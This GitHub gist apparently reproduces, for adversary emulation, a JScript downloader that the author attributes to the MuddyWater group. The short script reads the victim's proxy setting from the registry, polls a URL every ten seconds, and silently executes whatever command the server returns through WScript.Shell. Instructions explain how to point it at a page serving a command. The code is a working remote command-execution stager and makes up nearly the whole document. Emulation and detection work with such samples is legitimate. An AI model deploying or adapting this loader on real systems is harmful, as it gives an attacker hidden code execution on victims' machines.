Created
July 13, 2021 18:49
-
-
Save 2XXE-SRA/5a6cc2005a5ca4d014cd7fc1db15e797 to your computer and use it in GitHub Desktop.
MuddyWater newsblog.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Payload used by MuddyWater as detailed here: https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html | |
Replace "http://127.0.0.1:8000/cmd" with link to page containing command | |
Command page should be something like: "c:\windows\system32\cmd.exe /c calc.exe" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
w = new ActiveXObject("WScript.Shell"); | |
try { | |
v = w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer"); | |
q = v.prox.split("=")[1].split(";")[0]; | |
h.SetProxy(2, q); | |
} catch(e){;} | |
h.Open("GET", "http://127.0.0.1:8000/cmd", false); | |
while(true){ | |
try { | |
h.Send(); | |
B = h.status; | |
c = h.ResponseText; | |
WScript.Echo(B); | |
WScript.Sleep(10000); | |
if (B == 200){ | |
WScript.Echo(c); | |
new ActiveXObject("WScript.Shell").Run(c, 0, true); | |
break; | |
} | |
} catch(e){;} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment